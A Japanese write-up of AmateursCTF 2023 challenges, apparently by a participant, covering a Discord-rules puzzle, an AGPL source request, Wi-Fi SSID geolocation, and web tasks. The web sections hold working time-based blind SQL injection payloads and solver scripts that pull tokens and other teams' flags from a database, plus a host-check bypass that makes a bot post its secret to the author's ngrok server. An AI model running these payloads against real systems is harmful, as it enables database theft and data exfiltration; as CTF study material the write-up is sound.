Amateurs CTF 2023 Writeup

所感

0nePaddingというチームで参加して914チーム中16位でした。

アクティブだったチームはだいたい700チームくらいだと思います。

三連休だけの開催かと思ってたらなぜか伸びて腰を据えて参加できました。

misc/Insanity check

説明に多数の単語が与えられているのみの問題です。

この規則はチーム内の他の人が気づいていたのですが、「i」から始まる単語を除外すると 「something hidden the rules」という文章が出現します。

このCTFにはdiscordサーバーがあり、rulesチャンネルが存在するためそのどこかにflagがあると推測できます。 画像が貼られていたのでstegoかと思いましたが特に何も見つからず…。

iPhoneでrulesを見たときにMarkdownのnumberd listの値がやけにバカでかい数値になっていることに気づきました。

そこでrulesの投稿をテキストとしてコピーしたところ 5つの大きい整数が得られました。

あとはこれらをlong_to_bytesしてからつなげるだけでflagが取得できます。

from Crypto.Util.number import long_to_bytes

print(long_to_bytes(107122414347637)+long_to_bytes(125839376402043)+long_to_bytes(122524418662265)+long_to_bytes(122549902405493)+long_to_bytes(121377376789885))

misc/legality

作ったアプリケーションにAGPLライセンスを適用したそうです。 パスワードを忘れたそうなのでパスワードを探します。

以下のWebページにパスワードを入力することが目標。

LICENSEへのリンクが存在するのでアクセスしてみると 管理者?のメールアドレスが記載されている。

あまり詳しくはないですがAGPLライセンスを適用したアプリケーションはユーザーから要求された場合はソースコードを提供しなければならない規則があったと思うので上記のメールアドレスにメールを送ってみました。

数時間後、返信がありTypeScriptのソースコードが送られてきました。

その中にパスワードがハードコードされていたのでそれを使ってログインしたらflagが表示されました。

main.ts

import { serve } from "https://deno.land/std@0.181.0/http/server.ts";
import { serveFile } from "https://deno.land/std@0.181.0/http/file_server.ts";

const handler = async (request: Request): Promise<Response> => {
  const url = new URL(request.url);
  switch(url.pathname) {
    case "/":
        return await serveFile(request, "index.html");
    case "/LICENSE":
        return await serveFile(request, "LICENSE");
    case "/submit":
        if(url.searchParams.get("password") == "il0vefreesoftware!distributefreely!") {
            return await serveFile(request, "flag.txt");
        } else {
            return new Response("incorrect password.")
        }
  }

  return await serveFile(request, "404.html");
};

await serve(handler);

osint/ScreenshotGuesser

無線アクセスポイントのSSIDから場所を特定する問題です。

このスクリーンショットが与えられます。

無線APの特定にwigleを使用しました。

wigle.net

PRIMAVERA FOUNDATION 5G_2.4GEXT が世界で一つだけだったのでその周辺に絞ってその他のAPの緯度経度を調べます。

NETGEAR17に関しては範囲を絞って検索しても大量に存在したため省略しています。

SSID lat long
PRIMAVERA FOUNDATION 5G_2.4GEXT 32.23569107 -110.98345184
IBR600-22c 32.23879242 -110.98509979
5BA267 32.23749924 -110.98191071
ARRIS-4E0A 32.235886 -110.983539
CenturyLink1432 32.23577118 -110.98181152
DIRECT-F4-HP ENVY Pro 6400 32.23579788 -110.98252106
Linksys08452-guest 32.23592758 -110.98352814
NETGEAR17 - -

あとはこの緯度経度を総当りするだけでどれかがヒットしました。

Proof of Workを提出しなければいけない問題だったので追加の処理が必要でした。

solver.py

from pwn import *
import subprocess
import os

#context.log_level = "debug"
lats = [
    32.23569107,
    32.23879242,
    32.23749924,
    32.235886,
    32.23577118,
    32.23579788,
    32.23592758
]

longs = [
    -110.98345184,
    -110.98509979,
    -110.98191071,
    -110.983539,
    -110.98181152,
    -110.98252106,
    -110.98352814
]

for i in lats:
  for j in longs:
     io = remote("amt.rs", 31450)
     line = io.recvline()
     #print(line)
     io.recvuntil(b"solution: ")
     pow_command = line.decode().replace("proof of work: ","")
     pow = subprocess.run(pow_command, capture_output=True, shell=True)
     io.send(pow.stdout)
     io.recvuntil(b"Please enter the long and lat of the location: ")

     io.sendline(f"{i}, {j}")
     if b"Wrong" not in io.recvline():
        print(f"{i},{j}: {io.recvline()}")
     io.close()
     os._exit(0)

osint/Archived

問題がアーカイブされた、という問題です。

最初は、これは正式な問題なのかと思いましたがsolvesが増えていっていたので取り組みました。

Authorのdiscordプロフィールやその他SNSアカウントなど調べ上げましたが、discordで管理者のソーシャルアカウントは関係ないみたいなアナウンスがあったため、方針を切り替えました。

問題名がArchiveということでWeb上にアーカイブされていないか探してみると、Internet Archiveアーカイブが落ちていました。

7zをダウンロードして解凍するとflagがありました。

web/cps remastered

解いてから気づいたんですが、この問題にはアクシデントがあり、0 Pointでした。

ユーザー登録機能とログイン機能、ログイン後にパスワードを表示する機能があります。 CPS testの機能についてはよく理解できていません。。。

ユーザー登録

ログイン

ログイン後トップ

ログイン後はtokenがクッキーに設定されます

ログインなどの処理はPrepared Statementを使用しているが、

ユーザー登録時はsprintfを使って結合しているためSQLiがあります。

payloadはこんな感じで、tokenを1文字ずつ取得していきます。 username=test',IF((SELECT+COUNT(*)+FROM+tokens+WHERE+username='admin'+and+token+like+'{TOKEN}%')>0,SLEEP(5),0))--+-&password=test

solver.py

import requests
import urllib3
from urllib3.exceptions import InsecureRequestWarning
urllib3.disable_warnings(InsecureRequestWarning)

URL = "https://cps.amt.rs/register.php"

headers = {"Content-Type": "application/x-www-form-urlencoded"}
proxies = {"http":"http://localhost:8080", "https":"http://localhost:8080"}

while True:
  for c in "abcdefghijklmnopqrstuvwxyz0123456789":
    payload =f"username=test',IF((SELECT+COUNT(*)+FROM+tokens+WHERE+username='admin'+and+token+like+'{token+c}%')>0,SLEEP(5),0))--+-&password=test"
    res = requests.post(
      URL,
      headers=headers,
      data=payload,
      proxies=proxies,
      verify=False
    )

    if res.elapsed.total_seconds() > 5:
        token += c
        print(token)

    check_payload =f"username=test',IF((SELECT+COUNT(*)+FROM+tokens+WHERE+username='admin'+and+token='{token}')>0,SLEEP(5),0))--+-&password=test"
    res2 = requests.post(
      URL,
      headers=headers,
      data=check_payload,
      proxies=proxies,
      verify=False
    )

    if res2.elapsed.total_seconds() > 5:
      print(f"token={token}")
      break

あとはtokenをクッキーに設定してアクセスすればパスワード(flag)が表示されます。

web/go-gopher

gopher問題です。

Webに入力したgopherURLにボットがアクセスし、gopherレスポンスに乗っているURLに対してボットがHTTPリクエストを送信します。

送信されたHTTPリクエストボディのflagが出力されているのでどうにかしてそれを取得します。

Webのボット側はbot.go、gopherサーバー側はmain.goが実行されています。

bot.go

package main

import (
    "bytes"
    "fmt"
    "log"
    "net/http"
    "net/url"
    "os"
    "strings"

    "git.mills.io/prologic/go-gopher"
)

var flag = []byte{}

func main() {
    content, err := os.ReadFile("flag.txt")
    if err != nil {
        log.Fatal(err)
    }
    flag = content

    http.HandleFunc("/submit", Submit)
    http.HandleFunc("/", Index)
    if err := http.ListenAndServe(":8080", nil); err != nil {
        log.Fatal(err)
    }
}

func Index(w http.ResponseWriter, r *http.Request) {
    http.ServeFile(w, r, "index.html")
}

func Submit(w http.ResponseWriter, r *http.Request) {
    r.ParseForm()
    u, err := url.Parse(r.Form.Get("url"))
    if err != nil || !strings.HasPrefix(u.Host, "amt.rs") {
        w.Write([]byte("Invalid url"))
        return
    }

    w.Write([]byte(Visit(r.Form.Get("url"))))
}

func Visit(url string) string {
    fmt.Println(url)
    res, err := gopher.Get(url)
    if err != nil {
        return fmt.Sprintf("Something went wrong: %s", err.Error())
    }
    h, _ := res.Dir.ToText()
    fmt.Println(string(h))

    url, _ = strings.CutPrefix(res.Dir.Items[2].Selector, "URL:")
    fmt.Println(url)
    _, err = http.Post(url, "text/plain", bytes.NewBuffer(flag))

    if err != nil {
        return "Failed to make request"
    }

    return "Successful visit"
}

main.go

package main

import (
    "fmt"
    "log"
    "net/url"
    "strings"

    "git.mills.io/prologic/go-gopher"
)

func index(w gopher.ResponseWriter, r *gopher.Request) {
    w.WriteInfo("Welcome to the flag submitter!")
    w.WriteInfo("Please submit all your flags!")
    w.WriteItem(&gopher.Item{
        Type:        gopher.DIRECTORY,
        Selector:    "/submit/user",
        Description: "Submit flags here!",
    })
    w.WriteItem(&gopher.Item{
        Type:        gopher.FILE,
        Selector:    "URL:https://ctf.amateurs.team/",
        Description: "Get me more flags lackeys!!",
    })
    w.WriteItem(&gopher.Item{
        Type:        gopher.DIRECTORY,
        Selector:    "/",
        Description: "Nice gopher proxy",
        Host:        "gopher.floodgap.com",
        Port:        70,
    })
}

func submit(w gopher.ResponseWriter, r *gopher.Request) {
    name := strings.Split(r.Selector, "/")[2]
    undecoded, err := url.QueryUnescape(name)
    if err != nil {
        w.WriteError(err.Error())
    }
    w.WriteInfo(fmt.Sprintf("Hello %s", undecoded))
    w.WriteInfo("Please send a post request containing your flag at the server down below.")
    w.WriteItem(&gopher.Item{
        Type:        gopher.FILE,
        Selector:    "URL:http://amt.rs/gophers-catcher-not-in-scope",
        Description: "Submit here! (gopher doesn't have forms D:)",
        Host:        "error.host",
        Port:        1,
    })
}

func main() {
    mux := gopher.NewServeMux()

    mux.HandleFunc("/", index)
    mux.HandleFunc("/submit/", submit)

    log.Fatal(gopher.ListenAndServe("0.0.0.0:7000", mux))
}

bot.goのSubmit部分の処理を見るとsubmitされたURLのホスト名チェックが甘いことがわかります。

if err != nil || !strings.HasPrefix(u.Host, "amt.rs"){省略}

この場合、amt.rs.selfhosted.comのような他ドメインへのリクエストが送れますので下記の流れでflagが取得できます。

  1. amt.rs.selfhosted.comのような自分の管理化のドメインを用意する
  2. amt.rs.selfhosted.comで改変したmain.goを実行し、gopherリクエストを待ち受ける
  3. 同じくamt.rs.selfhosted.comでHTTPサーバーを立ち上げ、flagの乗ったリクエストを待ち受ける
  4. https://gopher-bot.amt.rs/gopher://amt.rs.selfhosted.comをsubmitする

今回はngrokを利用しました。

amt.rs.selfhosted.comのような自分の管理化のドメインを用意する

ngrokのTCP Addressに割り当てられたアドレスを、amt.rs.rikoteki.comのCNAMEに設定しました。

amt.rs.selfhosted.comで改変したmain.goを実行し、gopherリクエストを待ち受ける

indexハンドラ部分を書き換えます。

書き換えたURLはngrokで取得したHTTPで使用できるドメイン名です。

func index(w gopher.ResponseWriter, r *gopher.Request) {
        w.WriteInfo("Welcome to the flag submitter!")
        w.WriteInfo("Please submit all your flags!")
        w.WriteItem(&gopher.Item{
                Type:        gopher.DIRECTORY,
-               Selector:    "/submit/user",
+               Selector:    "URL:http://rikoteki.ng.ngrok.app",
                Description: "Submit flags here!",
        })
        w.WriteItem(&gopher.Item{
                Type:        gopher.FILE,
                Selector:    "URL:https://ctf.amateurs.team/",
                Description: "Get me more flags lackeys!!",
        })
        w.WriteItem(&gopher.Item{
                Type:        gopher.DIRECTORY,
                Selector:    "/",
                Description: "Nice gopher proxy",
                Host:        "gopher.floodgap.com",
                Port:        70,
        })
}

実行します。

ngrokでlocalの7000番を、与えられているTCP addressにトンネルします。

ngrok tcp --region=us --remote-addr=7.tcp.ngrok.io:22365 7000

amt.rs.rikoteki.comで待ち受けられていることが確認できます。

同じくamt.rs.selfhosted.comでHTTPサーバーを立ち上げ、flagの乗ったリクエストを待ち受ける

ボディにフラグが乗っているのでボディを出力できるHTTPサーバーを立ち上げます。

ngrokでHTTP 80番をトンネルします。

ngrok http --domain=rikoteki.ng.ngrok.app 80

https://gopher-bot.amt.rs/gopher://amt.rs.selfhosted.comをsubmitする

gopher://amt.rs.rikoteki.com:22365をsubmitするとSuccessful visitと表示されます。

HTTPサーバーを確認するとflagが出力されているのが確認できます。

web/gophers-revenge

go-gophersのアップデート版の問題です。 非想定解ですが、解きました。

ホスト名のチェックが強化され、HTTPリクエストが送信されるTLD+1がamt.rsでないといけない制約が追加されました。

送信されるPOSTリクエストにはusernameとpasswordパラメータがあり、passwordがflagになっています。

また、POSTリクエストに対するレスポンスのtokenクッキーを出力するようになっています。

bot.go

package main

import (
        "bytes"
        "crypto/rand"
        "fmt"
        "log"
        "net/http"
        "net/url"
        "os"
        "strings"

        "git.mills.io/prologic/go-gopher"
        "golang.org/x/net/publicsuffix"
)

var flag = []byte{}

func randomString(length int) string {
        b := make([]byte, length+2)
        rand.Read(b)
        return fmt.Sprintf("%x", b)[2 : length+2]
}

func main() {
        content, err := os.ReadFile("flag.txt")
        if err != nil {
                log.Fatal(err)
        }
        flag = content

        http.HandleFunc("/submit", Submit)
        http.HandleFunc("/", Index)
        if err := http.ListenAndServe(":8080", nil); err != nil {
                log.Fatal(err)
        }
}

func Index(w http.ResponseWriter, r *http.Request) {
        http.ServeFile(w, r, "index.html")
}

func Submit(w http.ResponseWriter, r *http.Request) {
        r.ParseForm()
        u, err := url.Parse(r.Form.Get("url"))
        if err != nil || u.Host != "amt.rs:31290" {
                w.Write([]byte("Invalid url"))
                return
        }

        w.Write([]byte(Visit(r.Form.Get("url"))))
}

func Visit(gopherURL string) string {
        fmt.Println(gopherURL)
        res, err := gopher.Get(gopherURL)
        if err != nil {
                return fmt.Sprintf("Something went wrong: %s", err.Error())
        }

        rawURL, _ := strings.CutPrefix(res.Dir.Items[2].Selector, "URL:")
        fmt.Println(rawURL)

        u, err := url.Parse(rawURL)

        etldpo, err2 := publicsuffix.EffectiveTLDPlusOne(u.Host)
        if err != nil || err2 != nil || etldpo != "amt.rs" {
                return "Invalid url"
        }

        resp, err := http.Post(u.String(), "application/x-www-form-urlencoded", bytes.NewBuffer([]byte(fmt.Sprintf("username=%s&password=%s", randomString(20), flag))))

        if err != nil {
                return "Failed to make request"
        }

        cookies := resp.Cookies()
        token := ""
        for _, c := range cookies {
                if c.Name == "token" {
                        token = c.Value
                }
        }

        if token != "" {
                return fmt.Sprintf("Thanks for sending in a flag! Use the following token once i get the gopher-catcher frontend setup: %s", token)
        } else {
                return "Something went wrong, my sever should have sent a cookie back but it didn't..."
        }
}

HTTPリクエストを送信する先はamt.rsサブドメインでなくてはならないのでその中でどうにかしなければなりません。

しばらく考え、0 Pointのcps remasterdという問題のユーザー登録機能がusernameとpasswordをパラメータにとり、登録に成功した場合tokenがクッキーにセットされることに気づきました。tokenをセットしてページにアクセスするとパスワードが表示されるためflagが取れます。

基本的な手順はgo-gopherと一緒ですが、gopherリクエストを送信させるURLのホスト名チェックのバイパスができず、この方法では解けませんでした。。。

仕方ないので別の方法を考えました。

この問題は既に10チームほどが解いていたのでcps remasterdのデータベースにはgopher-revengeのflagをパスワードとしたユーザーが登録されているはず。

加えてcps remasterdにはSQLiがあるのでパスワードを漏洩させることが可能。ということでSQLiでflagを取得しました。

solver.py

import os
import requests
import urllib3
from urllib3.exceptions import InsecureRequestWarning
urllib3.disable_warnings(InsecureRequestWarning)

URL = "https://cps.amt.rs/register.php"

headers = {"Content-Type": "application/x-www-form-urlencoded"}
proxies = {"http":"http://localhost:8080", "https":"http://localhost:8080"}

password = ""
while True:
    for c in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$_.{}+":
      escaped_char = ""
      if c in "~!@#$_.{}+":
        escaped_char = "\\" + c
      else:
        escaped_char = c

      tmp_password = password + escaped_char
      payload = "username=test',IF((SELECT+COUNT(*)+FROM+(SELECT+*+FROM+users+WHERE+CHAR_LENGTH(username)=20+and+password+LIKE+BINARY+'"+tmp_password+"%')+as+t1)>50,SLEEP(5),0))--+-&password=test"
      res = requests.post(
        URL,
        headers=headers,
        data=payload,
        proxies=proxies,
        verify=False
      )

      if res.elapsed.total_seconds() > 5:
          password += c
          print(password)

      check_payload = "username=test',IF((SELECT+COUNT(*)+FROM+(SELECT+*+FROM+users+WHERE+password+LIKE+'amateursCTF\{" + tmp_password + "\}')+as+t1)>0,SLEEP(5),0))--+-&password=test"
      res2 = requests.post(
        URL,
        headers=headers,
        data=check_payload,
        proxies=proxies,
        verify=False
      )

      if res2.elapsed.total_seconds() > 5:
        print(f"flag={password}")
        os._exit(0)